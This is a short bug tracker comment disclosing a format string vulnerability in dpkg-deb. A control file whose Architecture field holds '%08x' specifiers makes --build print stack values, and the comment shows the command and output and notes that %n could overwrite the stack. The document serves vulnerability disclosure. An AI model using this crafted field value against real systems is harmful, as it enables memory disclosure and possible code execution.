Comment 3 for bug 1389135

I think that this is a security bug.

If you make the 'control' file have

Architecture: %08x.%08x.%08x.%08x.%08x

and run --build, it will print five parameters from the stack.

# ./dpkg-deb --build /var/tmp/ok/
dpkg-deb: warning: parsing file '/var/tmp/ok//DEBIAN/control' near line 2 package 'backup:016b0150.00449f58.00000001.00000001.00000018':
 '�D' is not a valid architecture name: %08x.%08x.%08x.%08x.%08x
dpkg-deb: warning: parsing file '/var/tmp/ok//DEBIAN/control' near line 4 package 'backup:00449077.00449af0.00000001.00000001.01bb5790':
 missing maintainer
dpkg-deb: error: parsing file '/var/tmp/ok//DEBIAN/control' near line 4 package 'backup:00449082.00449af0.00000001.00000001.01bb5790':
 missing version

This can also be used to overwrite/rewrite the stack, using %n, too.